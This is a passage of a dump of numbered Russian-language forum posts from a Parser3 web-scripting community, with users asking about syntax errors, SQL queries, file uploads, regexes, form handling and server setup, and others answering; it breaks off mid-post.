"31210","Вы мне всё очень наглядно и доходчиво объяснили. Как раз то, что интересовало"
"31211","Кстати, по-поводу автоматизации.\
Столкнулся с интересным продуктом: PARSER.\
Что-то, предлагаемое взамен PHP.\
Спросите, чего это я о PHP, когда здесь XML....\
Просто он позволяет упростить повторения и их изменение за \"один присест\":\
меняешь в одном месте, а изменяется во всех, где используется....\
С уважением, Дмитрий"
"31212","Доброго. Пытаюсь собрать данный прмер, конкретно интересует календарь, но вот не задача страника содержит такой код:\
\
[code]\
@USE\
/classes/dtf.p\
/classes/mysql.p\
\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.sql[table]{\
SELECT\
^MAIN:pSQL.month[dt] AS month,\
^MAIN:pSQL.year[dt] AS year\
FROM\
article\
WHERE\
article_type_id = ^params.article_type_id.int(0) AND\
is_published = 1 AND\
dt_published <= ^MAIN:pSQL.now[]\
GROUP BY\
year,\
month\
}]\
#end @getCalendar[]\
\
@main[]\
\
$calendar[^getCalendar[$.article_type_id(1)]]\
^printCalendar[$calendar]\
[/code]\
\
но Parser ругается: \
Unhandled Exception (Debug)\
method of void (void) accepts maximum 1 parameter(s)\
sql\
\
то есть на строку: $result[^MAIN:pSQL.sql[table]{\
\
скажите данный пример свепиально так задуман или нет? подскажите пожалуйста как исправить :("
"31213","а из поля формы. Т.е. пользователь ввел в поле строку и ее потом и надо передать новому окну"
"31214","во всем остальном пример рабочий, но тупой copy/paste не пройдет, нужно сделать два шага своими ногами."
"31215","from (Bogdan M. Maryniuck)\
\
On Thu, Jul 15, 2004 at 11:04:53AM +0400, Eugene wrote:\
> А вот зачем понадобиломь изобретать велосипец (parser), я не особо понимаю, в принципе они сделали поделку уровня php, только с кривым синстаксисом. Если php хотя бы легко освоить человеку программировавшему на чем-то С-подобном, то здесь - как говорится, ни вашим, ни нашим.\
\
Это они объясняют тем, что типа PHP -- это сложно и для программистов. А вот\
Parser -- это как-раз то, что надо, типа \"простым смертным\". Но как по мне, то\
пару шаблонов на TAL + доработанный CMF и вот вам лучший аналог Parser.\
\
Зато лично я, заинтересовавшись, когда посмотрел на Parser который суть ни дизайна \
синтаксиса, ни вообще хорошей архитектуры, ни разделения \"код <--> HTML\"), ни\
каких-либо фич, да и это еще у них \"для простых смертных\" (!) -- то сделал\
вывод, что или кодеры Лебедева широко используют бесплатные отходы от выработки \
синтетических \"Extasy\", или там нормальных кодеров нет вообще.\
\
В конце-концов, если есть устойчивая тяга неорганизованной души к эклектическому беспорядку\
и синтаксису C++ в стиле Сальвадора Дали, то есть готовые и поддерживаемые Perl (Mason), \
JSP или PHP... \
\
История Parser скорее обусловливается \"русской душой\", которая никогда не программит регулярно, \
по графику и плану, но весь софт делается \"одним заходом\", от заката до заката\
и до упаду в эдаком харизматическом трансе идейной эйфории (тоесть, пока программист *помнит* \
код что-где подкрутить и что оно должно выдавать на выходе). После того, как русский программист \
сделал софт, он впадает в трехдневную спячку (после которой обычно следует недельный прием пищи и \
реабилитация прокуренного организма после долгой диеты на пиве и сардельках). Багфиксить собственный \
продукт обычно не надо, так как русский программист больше не помнит ни содержания кода, \
ни вообще кто это все написал и зачем. А изучать всю эту кучу символов с самого начала ему лень.\
Уход в отпуск (или отдыхом) _всех_ программистов в одно и то-же время грозит\
катастрофическим банкротом для компании, так как все забудут свой софт и все\
надо будет начинать сначала (так часто в случае с PHP-проектами, которые\
\"делаются сначала\", когда надо их только \"более расширить\")."
"31216","с радостью бы помог, если б знал си. но если там примитив совсем - то попробую."
"31217","[quote]Кстати, по-поводу автоматизации.\
Столкнулся с интересным продуктом: PARSER.\
Что-то, предлагаемое взамен PHP.\
Спросите, чего это я о PHP, когда здесь XML....\
Просто он позволяет упростить повторения и их изменение за \"один присест\":\
меняешь в одном месте, а изменяется во всех, где используется....[/quote]\
\
До чего техника дошла!\
Это вам кто-то рассказал?\
Не, не...\
Врёт наверно - чудес-то не бывает..."
"31218","так работает:\
$a[^file::exec[ls;;/]]\
$a.text\
\
так никак не работает:\
1) ^file::exec[ls;;/]\
2) ^file::exec[ls;;/].text\
3) @main[]\
^file::exec[ls;;/].text\
\
в файле кроме этих строчек ничего нет, auto.p тоже нет. ls скопировал в document root"
"31219","... но могу предположить что это все-таки конструктор, а не функция, возвращающая экземпляр-файл. обычно между ними бывает различие что результат вызова конструктора принято помещать в переменную, чтобы обратится к ее полям/методам. хотя как в парсере - фиг знает. \
\
так какую все-таки ошибку сообщает?"
"31220","мимо проехал троллейбус, жужжащий как электрогенератор в халф лайф. и до меня наконец-то доперло как работают taint'ы. наконец-то! спустя год их юзания в программинге %)\
\
при выводе окрашенные данные преобразуются соответственно своей окраске. а просто грязные - в соответсвии с тем, куда они выводятся, то есть оккраска как бы подбирается под место вывода в момент вывода. в том числе есть специальная краска as-is, которая ничего не преобразует - у нее таблица преобразований пуста.  и тогда не стоит ждать что что-то окрасится, например, в uri кроме как если мы его окрасим насильно, потому что нет такого места, где точно известно что это uri, а не html... да? :)"
"31221","одним нравится прогонять пургу одного типа, другим тоже пургу, но другую...\
\
почему одна висит, а другая удаляется?"
"31222","потому что счастья для всех не бывает"
"31224","и вообще, пора рубрикатор для хороших реплик делать ;-)\
\
Кстати, nolar'у удалось написать идею taint с максимальной доступностью - two thumbs up!"
"31225","надо проверить, utf-8 ли используется у нас в request.source_charset() и, если так, передать новому pcre какой-то битик в опциях."
"31226","тоже показательна в своём роде.\
\
к флеймам, разумеется, это не относится."
"31237","в следующий раз буду думать что ночью невыспавшись пишу %)\
\
ссылку сделайте чтоли target=_top. а то в доку, оттуда форум по той ссылке открывается в правом фрейме, через меню опять в доку, и в общем куча оглавлений получается."
"31239","Было так:\
$host[$env:REMOTE_ADDR]\
а когда добавил вот это:\
$host[^host.trim[]]\
на локалке работает в инете нет. Парсер говорит\
'trim' string method not found [parser.runtime]\
\
Что делать"
"31242","Эээ... А как можно узнать версию парсера?"
"31243","Если это ваш сервер, то просто запустите parser3.cgi [parser3.exe] из командной строки.\
\
Если на хостинге Парсер установлен как модуль, то задайте вопрос о версии администратору сервера."
"31246","Так понимаю, это сообщение, мягко говоря, не соответствует пропагандированию парсера, однако, раз его выставили на всеобщее обозрение - то значит возможно обсуждение... Ан нет - кнопочки \"Ответить\" нету при просмотре этого треда... вот тебе и обсуждение.\
\
Это что - ошибка, баг или политика форума (читай - модераторов)? Вообще, последний вариант просто пугает, хоть я и не верю в него..."
"31247","Тут совсем не демократия :)"
"31248","Хотел узнать есть ли в parsere возможность создавать удалять и переименовывать папки. С файлами всё понятно а вот про папки в документации я ничего не нашёл."
"31249","очевидно, что парсер несам переименовывает папки, а обращается к АПИ ОС.\
\
очевидно, что оси по фигу папка это или файл - там в АПИ те же функции.\
\
значит очевидно, что \
[code]\
@main[]\
$x[-] ^x.save[123/file]\
^file:move[123;456/789]\
[/code]\
сработает."
"31250","Есить пять (допустим) картинок, мне их нужно вывести циклом, но так, чтобы между ними не оставалось пробела.\
Вот что я пишу:\
\
[code]\
^for[i](0;5){\
# проверка: существует ли файл\
	^if(-f '${path}${i}.gif'){\
# открываем его, если он существует...\
		$img[^image::load[${path}${i}.gif]]\
# ...и выводим\
		^img.html[]\
	}\
}\
[/code]\
\
Казалось бы, что все хорошо, но в результате получаю следующий код:\
\
[code]\
<img border=\"0\" height=\"45\" src=\"/i/0.gif\" width=\"45\" />\
<img border=\"0\" height=\"45\" src=\"/i/1.gif\" width=\"45\" />\
<img border=\"0\" height=\"45\" src=\"/i/2.gif\" width=\"45\" />\
<img border=\"0\" height=\"45\" src=\"/i/3.gif\" width=\"45\" />\
<img border=\"0\" height=\"45\" src=\"/i/4.gif\" width=\"45\" />\
[/code]\
\
...И разрыв строки отображается в браузере как пробел, чего мне ни в коем случае не нужно.\
Пробовал записывать результат цикла в переменную и проходиться по переменной матчем с целью заменить все переводы строк на ничто:\
\
[code]\
^res.match[\\n][g]{}\
[/code]\
\
...Но тогда появляется непонятная табуляция между картинками... Еще раз матч. Теперь уже \\t - все возвращается в исходный позицию..."
"31251","[code]^for[i](0;5){^if(-f '${path}${i}.gif'){$img[^image::load[${path}${i}.gif]]^img.html[]}}[/code]"
"31253","С некоторыми ограничениями: создать пустую папку средствами Парсера не получится [прийдется использовать вызов команд ОС]. \
\
Папки создаются автоматически при записи в них файла. И уничтожаются автоматически при удалении из них последнего файла.\
\
Переименовать папрку можно с помощью ^file:move[]."
"31255","...Но появилась другая: теперь даже когда картинка все не помещаются на ширину экрана, они не переносятся. Хотя никаких nowrap-ов нету. Появляется горизонтальный скроллинг, а этого не нужно.\
\
Вообще-то говоря это нужно просто чтобы писать какую-то фразу картинками. Но, как любой текст, она должна переноситься по достижению края."
"31256","В документации вроде написано:\
\
[i][b]measure.[/b] Создание объекта на основе существующего графического файла[/i]\
\
...и\
\
[i][b]load.[/b] Создание объекта на основе графического файла в формате GIF[/i]\
\
Я абсолютно уверен в том, что файлы будут только gif, так почему же не использовать load?..."
"31257","[quote]^image::measure[файл]\
^image::measure[имя файла]\
\
Создает объект класса image, измеряя размеры существующего графического файла или объекта класса file в поддерживаемом формате (сейчас поддерживаются GIF, JPEG и PNG).\
\
[b]Сама картинка не считывается, основное назначение метода - последующий вызов для созданного объекта метода html.[/b][/quote]"
"31260","Есть таблица лотерейных билетов(ticket). Каждый билет принадлежит какому-то тиражу(draw) и заказу (order)\
Нужно, что бы заказанные билеты в каждом тираже нумеровались последовательно, поэтому у каждого тиража есть текущий номер билета (draw.current).\
После оплаты заказа нужно все билеты в этом заказе пронумеровать в соответствии с тем, какому тиражу они принадлежат.\
\
Сейчас я вижу только один алгоритм:\
\
1. Берем список билетов в этом заказе\
2. Берем список тиражей, билеты которого есть в этом заказе.\
\
3. Для каждого тиража в заказе, \
	а. узнаем текущий номер билетов в этом тираже (draw.current), \
	б. Для каждого билета в этом тираже этого заказа проставляем номера, увеличивая текущий номер на 1,\
	в. увеличиваем текущий номер билетов в тираже на кол-во билетов этого тиража в текущем заказе. \
\
\
Таким образом, получается много запросов:\
[билетов в заказе] + [тиражей в заказе] * 2 + 2\
\
Если в заказе будет 3 билета в 3х тиражах, получится 11 запросов в БД.\
\
Уверен, есть какая-то хитрость в построении такой БД, что бы уменьшить кол-во запросов и ускорить работу.\
Есть мысли?"
"31261","Делаете таблицу билетов\
В таблице будет составной первичный ключ из двух полей draw и order. На последнем ставите свойство авто инкримента. При добавлении записи просто указываете номер тиража draw, номер билета формируется автоматом. Получить его можно простым ластинсертом"
"31262","[code]\
# Достаем запросом данные о текущем заказе\
# с указанием тиражей и начальных номеров\
# в некую таблицу orders\
\
# А далее вставляем, что нам нужно,\
# сформировав запрос Парсером и исспользуя возможность\
# INSERT'а вставлять сразу несколько строк\
  ^menu.orders{\
    ^sql:void{\
      insert into tickets (num)\
             values\
           ^for[i]($orders.current_num;$orders.current_num + $orders.count){\
             ('$i')\
           }[, ]\
    }\
  }\
\
# Далее осталось проапдейтить таблицу с тиражами \
# и вписать туда новый \"последний номер\".\
[/code]\
\
p.s. Не совсем понятно другое: а чобственно зачем вобще нужна таблица tickets? Диапазон выданых билетов можно держать в информации о заказе, а после розыгрыша просто добавить в таблицу с выигрышами номера победивших билетов."
"31263","При условии, что ваша СУБД поддерживает AUTO_INCREMENT."
"31264","таблица ticket нужна, что бы хранить билеты. Билет - две карточки обычного лотто (табличка 3 на 9). Так что, нужно хранить \"содержимое билета\", ибо билеты не только номерами отличаются, а еще содержимым. \
\
Сначала пользователь составляет себе две карточки (т.е. билет), выбирает тираж и этот билет добавляется в заказ (сохраняется в БД). После формирования и оплаты заказа, надо проставить номера билетов, как я описал ранее.\
\
Кроме того, текущий номер хранится в таблице тиражей (draw), а не заказов, т.к. для каждого тиража есть свой доступный диапозон номеров билетов."
"31265","Видимо, я не очень понятно описал.\
Приведу пример.\
Предположим, есть два тиража:\
1. Тираж №1, диапазон номеров: 1000-2000, номер последнего заказанного билета - 1111\
2. Тираж №2, диапазон номеров: 1500-2500, номер последнего заказанного билета - 1555\
\
Пользователь формаирует заказ, например из: 3х билетов 1ого тиража и 4х билетов 2ого тиража.\
Заказ сохраняется в БД и пользователь уходит платить. После оплаты надо пронумировать билеты так, что бы 3 билета первого тиража пронумеровались 1112, 1113, 1114; 4 билета второго тиража пронумеровались 1556, 1557, 1558, 1558.\
Нумеровать надо именно после оплаты, т.к. пользователь может нагенерить себе билетов и не оплатить их, в этом случае, если нумеровать до оплаты, номера могут кончится, хотя реально билеты будут куплены не все."
"31266","AUTO_INCREMENT здесь использовать никак не получится.\
Во-первых, нужно не просто получить уникальные номера, а номера в определенном диапозоне.\
Во-вторых, надо инкрементировать на кол-во билетов этого тиража в заказе (а это не всегда 1)."
"31267","... если одновременно три пользователя нагенерили билетов, а потом в произвольном порядке их оплатили: они должня получить именно свои билеты, или любые из тиража?\
\
Если только свои, то наверняка в нагенеренном билете есть ссылка на покупателя, что позволит выполнить необходимую пачку update'ов с использованием индексов [покупатель+тираж] очень быстро.\
\
p.s. А покупатель может сделать несколько заказов на один и тотже теираж?"
"31268","Тогда все просто - в табличку вводите два поля - номер тиража и билета в тираже.\
При обновлении выбираете макисамльное значение из тиража, (MAX(order) where draw=) инкременируете, проверяете на вхождение в диапазон(+ проверка на пустоту) и добавляете."
"31269","\
карткая структура, что есть сейчас:\
ticket:\
ticket_id\
draw_id - тираж\
order_id - заказ\
data - данные билета\
\
draw(тираж):\
draw_id\
min - нумеруем начиная с этого номер\
max - номер последнего билета в этом тираже\
current - номер последнего оплаченого билета\
\
order:\
order_id\
status - оплачен ли.\
\
\
Оплачивают \"заказ\"!!!\
т.е. после оплаты нужно все билеты разделить по тиражам, т.к. в заказе могут быть билеты из многих тиражей.\
\
сейчас алгоритм примерно таков:\
[code]\
\
#Все тиражи, билеты которых присутствуют в заказе.\
$draws[^table::sql{\
	SELECT \
		draw.draw_id, \
		draw.current, \
		draw.max \
	FROM ticket \
		LEFT JOIN draw ON draw.draw_id = ticket.draw_id \
	WHERE order_id = $order_id\
}]\
\
^draws.menu{\
#текущий номер\
	$current($draws.current)\
\
#Все билеты этого тиража в этом заказе\
	$tickets[^table::sql{SELECT ticket_id FROM ticket WHERE order = $order_id AND draw_id = $draws.draw_id}]\
\
#Если в этом тираже еще есть место для стольких билетов\
	if(  ($tickets.max - $tickets.current) >= ^tickets.count[] ){\
#Для каждого устанавливаем номер на 1 больше предыдущего.	\
		^tickets.menu{\
			^current.inc()\
			^void:sql{UPDATE ticket SET number = $current WHERE ticket_id = $tickets.ticket_id}\
		}\
	\
#Сохраняем получившийся текущий номер\
		^void:sql{UPDATE draw SET current = $current WHERE draw_id = $draws.current_id}\
	}{ \
		^rem{Если места нет, делаем соотв. действия.}\
	}\
}\
\
[/code]"
"31270","это тоже самое, что есть сейчас.\
только вы предлагаете брать номер не из draw.current, а с помощью SELECT MAX(number). Я сомневаюсь, что это будет быстрее. А если и будет, то не существенно."
"31271","Все слишком усложненно моментом оплаты и вхождения в определенный диапазон.\
Не забудте расставить индексы и все будет хорошо"
"31272","индексы - это очевидно, но в среднем опалата каждого заказа будет состоять из 10-20 запросов, что очень не мало. и, в случае большой посещяемости, это может быть узким местом."
"31274","...просто идут картинки одна за другой:\
\
[code]\
...<table><tr><td>\
<img src=\"...\" width=\"...\" height=\"...\"><img src=\"...\" width=\"...\" height=\"...\"><img src=\"...\" width=\"...\" height=\"...\"><img src=\"...\" width=\"...\" height=\"...\">\
</td></tr></table>...\
[/code]\
\
и так далее... Так вот проблема в том, что картинки вообще не переносятся. По крайней мере IE не переносит. Смотрит как одно целое и выводит в одну строку.\
\
Может быть есть какой-то способ сказать ему переносить \"непереносимое\"? :) А иначе остаются пробелы, а они не нежны... :("
"31275","и мои предположения основаны на некоторых рассуждениях.\
Как правило, если приходится делать много однотипных запросов, значит, можно что-то сделать, что бы их заменить одним запросом.\
\
Во всяком случае, если ничего более разумного мне никто не предложит, буду делать так. Две (три, ...) головы всяко лучше ;-)\
Спасибо большое тем, кто откликнулся!"
"31276","Что это значит."
"31277","Результат ее выполнения убедительно доказывает ошибочность утверждения \"оси по фигу папка это или файл\"."
"31278","А может, я как раз похвалить парсер хотел в противовес этому высказыванию :)"
"31279","да в общем нет. Демократия превратила бы этот форум в помойку типа RICN."
"31280","Жалко будет контору если все это удастся.\
Лотус и 1С можно обслуживать используя специалистов извне...\
Вы им создадите продукт который НИКТО кроме Вас не сможет перестроить..."
"31281","по моему текст в нем говорит сам за себя.\
\
как сказал кто-то из великих (или не очень, но мне запомнилось/понравилось):\
\"Если не осталось больше аргументов, оппонента можно ещё обозвать...\""
"31283","Как только пишу:\
\
[code]\
^if($request:query){...\
[/code]\
\
Вылезает такое вот сообщение:\
\
[quote]\
exception in request exception handler: Exception 0xC0000005 at 0x0042770C\
[/quote]\
\
Как только убираю иф - сразу все становиться нормально. Или же в ифе вместо $request:query пишу что-либо другое.\
\
Что бы это значило?..."
"31284","пожалуйста, сузьте тест до абсолютного минимума, и пошлите архивчик[bug.zip] мне?\
нужна версия parser, ?параметры= запроса и всё, что посчитаете нужным указать."
"31285","Отныне исходники \"Типографа\" будут лежать и плодиться в разделе \"[url=\"http://www.spearance.ru/parser3/text/class/\"]исходники[/url]\". В примерах он врятли появится т.к. до идельности (а именно такие коды принимаются в примеры) ему далеко, но работать то надо.\
\
В новой версии учтены некоторые замечания и добавлена возможность обработки текста из файла.\
\
P.S. спасибо Misha v.3 и Egr за помощь в разработке."
"31287","Создаю таблицу:\
\
$PostU[^table::load[nameless;\\\\Minenergo_002\\data_work\\postu.txt]]\
\
Получаю:\
\
'\\\\Minenergo_002\\data_work\\postu.txt' read failed: Permission denied (13), actual filename '\\\\Minenergo_002\\data_work\\postu.txt'  type: file.access\
\
Доступ к файлу \"postu.txt\" открыт.\
Подскажите решение."
"31288","которому доступа нет.\
\
вариант:\
файл забрасывать на машину с веб-сервером. так и работать быстрее будет, и с правами проще разбираться."
"31289","как забросить файл если с помощью парсера я не могу за него ухватиться?\
Этот файл лежит на своем фиксированном месте и регулярно обновляется кем-то."
"31290","попробовал все упростить (написал заново) - и все вдуг заработало. И самое противное здесь то, что я не понимаю в чем проблема. Уже что только не пробовал. Весь день вот почти провозился... :(\
\
...А началось все с того, что я не найдя в версии 3.0.0007, которая у меня была, такой простой вещи, как ^string.trim[] решил скачать поставить версию по новей. Скачал. Поставил. Появилось то самое сообщение в корневом посте."
"31291","тогда вы будете читать со своего диска, меньше проблем с правами."
"31293","<wbr> спасет?"
"31294","...определить – строка состоит только ли из\
латинских символов (и цифр),\
или нет?\
Т. е. это операции с формой..."
"31295","Так не бывает, но код\
[code]\
$test[www.parser.ru?user=admin]\
^if(^test.match[[^^?=]]){ok}{no}\
[/code]\
даёт \"ок\" результат."
"31297","вы проверяете:\
[code]^if(^test.match[[^^?=]]){ok}{no}[/code]\
\
Я всегда рекомендую в случаях ошибок с регекспами проговаривать то что ищите. Итак, вы ищите в строке любое совпадение неравное символу ? и неравное символу =. В вашей строке такие символы есть, поэтому вы получили положительный результат."
"31300","[quote]Итак, вы ищите в строке любое совпадение неравное символу ? и неравное символу =. В вашей строке такие символы есть, поэтому вы получили положительный результат.[/quote]\
\
Тут всё верно - сам виноват, спасибо.\
\
Но что-то сообразить не могу как будет \"строка не содержит некоторый набор символов\", набор заданный в инвертированном классе.\
Если проверять строку от начала до конца - тоже выходит глупость: строка не состоит из символов таких-то.\
[code]^if(^test.match[^^[^^?=]*^$]){!ok!}{no}[/code]\
\
А вот именно \"не содержит\"..."
"31303","Элементарно.\
Благодарю."
"31304","Имеется форма для регистрации, если не заполнено одно из обязательных полей, обработчик возвращает форму и сообщение об ошибке, но к сожалению, форма возвращается пустая и все поля приходится заполнять по новому. \
Можно ли сделать так, что бы форма вернулась с записями?"
"31305","Как в парсере сделать \"include\"? Если я в HTML вставляю код на ПАРСЕРе include перестаёт работать."
"31306","Устанавливал на 2-х серверах под Linux - на одном всё работает, на другом выдается ошибка:\
\
parser3.cgi: relocation error: parser3.cgi: symbol __libc_stack_end, version GLIBC_2.1 not defined in file ld-linux.so.2 with link time reference\
[Tue Jul 20 10:07:13 2004] [error] [client 217.106.229.102] Premature end of script headers: /home/.../cgi-bin/parser3.cgi\
\
Подскажите, плиз, в чём дело?"
"31307","Будет ли добавлена возможность работы с MsSQL server?"
"31310","Просто добавьте к полям  формы value=\"значение, которое нужно вставить\""
"31311","Проставить в дефолтные значения формы $form:имя_поля.\
В первый раз они будут пустыми, если же страница будет грузится во второй и более раз - вылезут."
"31312","первая ссылка"
"31313","ODBC = \"тормоза\".\
\
В случае с MsSQL это утверждение также справедливо?"
"31314","Или писать драйвер. [url=\"http://www.parser.ru/forum/?terms=%ED%E0%EF%E8%F1%E0%F2%FC+%E4%F0%E0%E9%E2%E5%F0&search_in_message=1&author=paf&doSearch=%CD%E0%E9%F2%E8\"]Говорят[/url], это дело несложное."
"31315","пока у наших клиентов проблем не было."
"31316","но я не умею.\
\
Админ, рулящий сервером, где работает мой сайт на parser, просит перевести его с mysql на mssql - ему это удобнее в плане backup и т.п. Я вдруг обнаружил, что native'ных драйверов парсера под mssql нет и задался вопросом про скорость odbc.\
\
Кстати, буду очень признателен за пример (полный, человеческий) строки подключения по odbc (с копией dsn-файла) - а то документация на http://www.parser.ru/docs/lang/?app3odbc.htm неудобоварима."
"31317",".dsn файлик не нужен.\
\
замените слова \"MS Access\" на \"MS SQL\""
"31318","У меня две переменных, как их написать вместе без пробела?\
пример:\
$a[пардон]\
$b[за дурацкий вопрос]\
\
чтобы получилось:\
\
пардонзадурацкий вопрос\
\
Спасибо."
"31319","конкретно что именно не получилось?"
"31322","$SQL:drivers table must be defined\
connect_string\
\
C:/Inetpub/testweb/admin/index.html(36)\
exception.type=parser.runtime"
"31324","G_Z исал(а)\
 Проставить в дефолтные значения формы $form:имя_поля.\
Что значит дефолтные? Значение value=\"\" по умолчанию?  Я так понимаю что Luger предлагает тожесамое. \
Пример:\
<input type=\"text\" name=\"name\" value=\"$form:name\">\
работает в том случае, если обработка формы производится на этой же странице. А если обработчик на другой странице - это не срабатывает."
"31325","конкретно носом натычте, что писать в auto.p и собственно в index.html... а то я чего-то не догоняю ;)\
\
В моем примере так сие выглядит:\
@auto[]\
$connect_string[odbc://DSN=tel^;UID=sa^;PWD=1^;ClientCharset=windows-1251]\
однако же балалайка... нихт воркен...\
ошибка в пред сообщении"
"31326","скорость нормальная, во всяком случае в вебе парсер (CGI) скорее станет узким местом нежели чем коннект к БД через odbc.\
\
PS: да кстати, вспомнил, что с каким-нибудь ADO медленнее даже получится в случае с CGI т.к. там коннект будет по полчаса подниматься."
"31328","то принципиально это ничего не меняет, сделайте на странице обработчика форму с hidden полями, присвойте им передаваемые значения, а потом передайте эти значения на страницу с формой"
"31329","Я думал есть проще способ или вернее сказать, с меньшим колличеством кода"
"31331","Выложил сайт на arbatek.ru\
Установил Парсер как cgi скрипт в директорию cgi-bin\
Создал файл .htaccess\
AddHandler parsed-html .html \
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Сайт не грузится\
В логах написано\
[Tue Jul 20 18:49:29 2004] [error] [client 212.12.5.5] \
Premature end of script headers: /home/woodtrad/public_html/cgi-bin/parser3.cgi"
"31332","см. пятый вопрос, \"типичная ошибка «Premature end of script headers» означает что...\""
"31333","т.е. measure только \"измеряет\" её и считывает EXIF и другую подобную информацию.\
\
читайте документацию, там всё описано."
"31334","Пытаюсь сохранить изобр. на диске -\
\
[code]<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"f\" value=\"\">\
<input type=\"submit\" name=\"n\">\
</form>\
^if(def $form:n && def $form:f){\
	$name[^file:basename[$form:f]]\
	$parts[^name.split[.;rh]]\
	^name.save[binary;/test/1.$parts.0]}[/code]\
\
но после сабмита вылетает ошибка:\
\
[b]is 'file', it has no string representation[/b]\
[b]basename[/b]\
\
...т. е. строка [b]$name[^file:basename[$form:f]][/b] неправильна,\
но почему?\
\
Заранее спасибо."
"31335","из документации:\
\
1. [b]$form:поле_формы[/b]   \
\
Такая конструкция возвращает значение поля формы. Возвращаемый объект может принадлежать либо [b]классу file, если поле формы имеет тип file[/b], либо классу string. Дальнейшая работа с объектом возможна [b]только методами, определенными для соответствующих классов[/b].\
\
\
2. [b]^file:basename[filespec][/b]\
\
Из полного [b]пути к файлу[/b] (filespec) получает имя файла с расширением имени, но без пути.\
(т.е. аргумент функции - объект класса string, не file)\
\
\
3. [b]$файл.name[/b]   \
\
Поле содержит имя файла. Объект класса file имеет поле name, [b]если пользователь закачал файл через поле формы[/b].\
\
\
+. зачем сплитить, если есть file:justname и file:justext?"
"31336","При попытке загрузить файл с диска parser выдает ошибку\
\
read failed: No such file or directory (2), actual filename\
'/usr/hosting/логин/каталог/каталог2/каталог3/L_3A_5CКнига1.txt'  type:\
file.missing\
\
Почему он берет путь с сервера, а не с компьютера?"
"31337","а не с диска L: вашего домашнего компьютера."
"31338","Хорошо, тогда расскажите, пожалуйста, как загрузить файл с компа на сервер\
методами парсера?"
"31339","[url=\"http://www.parser.ru/forum/?terms=%E7%E0%E3%F0%F3%E7%E8%F2%FC+%ED%E0+%F1%E5%F0%E2%E5%F0&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]Ищите[/url] и обрящете"
"31340","Подскажите пожалуйста почему не работают агрегатные функции?\
Попробывал все COUNT, SUM, AVG, MAX, MIN:  \
\
^connect[$SQL.connect-string]{$Orders[^table::sql{SELECT SUM(amt) FROM Orders}]}\
\
\
^Orders.menu{ \
  <tr bgcolor=\"#CCCCCC\">\
    <td width=\"100\"><div align=\"center\"><font size=\"2\">$Orders.amt</font></div>\
    </td>\
  </tr>}\
</table>\
\
В логе: \
'amt' column not found [parser.runtime]\
\
\
Вызов SELECT amt FROM Orders работает!\
\
Где причина?"
"31341","Допустим у меня имеется БД, в ней таблица, в ней з колонки : id(auto_increament, primary), header(text), body(text). В таблицы 2 записи. Я хочу отредактировать 2-ую запись. Я загружаю в форму вторую запись, редактирую как надо. Далее жму Обновить. Стирается 2-ая запись, и прописывается в id=2 новая запись(отредактированная). Но теперь уже новая запись имеет id=3, почему так произошло?"
"31343","[code]<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"photo\">\
<input type=\"submit\">\
</form>\
^if(def $form:photo){\
^form:photo.save[binary;/test/${au_id}.gif]}[/code]\
\
Т. я сохраняю файл jpg под именем 1.gif,\
он сохраняется и все нормально, но когда пытаюсь\
его вывести:\
\
[code]$photo[^image::measure[/test/${au_id}.gif]]\
^photo.html[][/code]\
\
Получается ошибка:\
\
[b]not GIF file - wrong signature[/b]\
[b]/test/1.gif[/b]\
[b]exception.type=image.format[/b]\
\
Т. е. не тот формат, но файл то лежит на диске\
как gif, да и в доке такой же пример."
"31344","Смена расширения файла != смене самого формата."
"31345","клчевое слово UPDATE"
"31346","Подскажите пожалуйста как получить значение после объединения таблицы?\
\
^connect[$SQL.connect-string]{$Salespeople[^table::sql{SELECT first.cname, second.cname, first.rating  FROM Customers first, Customers second  WHERE first.rating = second.rating}]}\
\
first.cname получаю:\
    <td width=\"100\"><div align=\"center\"><font size=\"2\">$Salespeople.cname</font></div>\
    </td>\
\
А как быть с second.cname?"
"31349","REPLACE вообще-то нет в словаре SQL"
"31350","http://www.mysql.ru/docs/man/REPLACE.html"
"31351","лучше не пользоваться специфичными для конкретной СУБД функциями."
"31352","Есть индексная таблица\
CREATE TABLE SIZ003(\
SHSB   VarChar2(11) NOT NULL,   \
SHISB  NUMBER(1) NOT NULL,    \
KOL    NUMBER(7,2) NOT NULL,\
Primary key (SHSB,SHISB),\
CHECK  (KOL>0))organization index;\
Загружаю данные(loader) упорядоченные по Primary key (SHSB,SHISB)\
корректирую (insert,delete,update)\
Select * from SIZ003; отдает их с нарушением сортировки...\
По литературе вроде данные должны быть упорядочены или как сделать чтоб это было так (причина-далее идет иерархический запрос, в котором нет order by...)"
"31353","на сервере не стоит библиотека GLIB нужной версии, или её нельзя найти по путям указанным в соотв. переменных окружения. Тебе к админу надобно."
"31355","[code]\
$junction[add_$request:query]\
^if($junction is junction){\
	$code{^^$junction^[^]}\
	^process{$code}\
}{метод $junction не существует}\
[/code]\
\
Выдает сообщение о том, что нет такого метода. Хотя метод есть. То есть его можно вызвать, если закомментировать вторую и пятую строки:\
\
[code]\
$junction[add_$request:query]\
#^if($junction is junction){\
	$code{^^$junction^[^]}\
	^process{$code}\
#}{метод $junction не существует}\
[/code]\
\
Почему так проиходит?\
\
П.с. Не пинайте сильно :)"
"31356","и потом, зачем такая задвинутая конструция? возможно, пригодятся эти идеи:\
http://www.parser.ru/forum/?id=14317"
"31359","[code]\
$junction[add_$request:query]\
$req[$request:query]\
^if($add_$req is junction){\
	$code{^^$junction^[^]}\
	^process{$code}\
}{метод $junction не существует}\
[/code]\
\
Так вот, несколько монстроузорно, но работает :) Буду эксперементировать с предложенными Вами идеями.\
\
П.с.\
Почему нельзя писать так:\
\
[code]\
^if($add_$request:query is junction){\
[/code]\
\
Выдает ошибку [b]parse error, expecting `';'' or `')''[/b]"
"31360","sumo дело пишет.\
\
а вы выкиньте эти странные конструкции. и даже забудьте на время о ^process."
"31361","Мне объяснили, что дело в библиотеке GLIBС.\
Парсер требует версию 2.3, а у них 2.2.\
Что делать не знаю."
"31362","Вот все никак не могу разобраться с DOM-интерфейсами.\
Есть два XML-файла. Нужно их объединить:\
\
$Doc1[\
^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<Russia>\
<SPb></SPb>\
</Russia>\
}\
]\
\
$Doc2[\
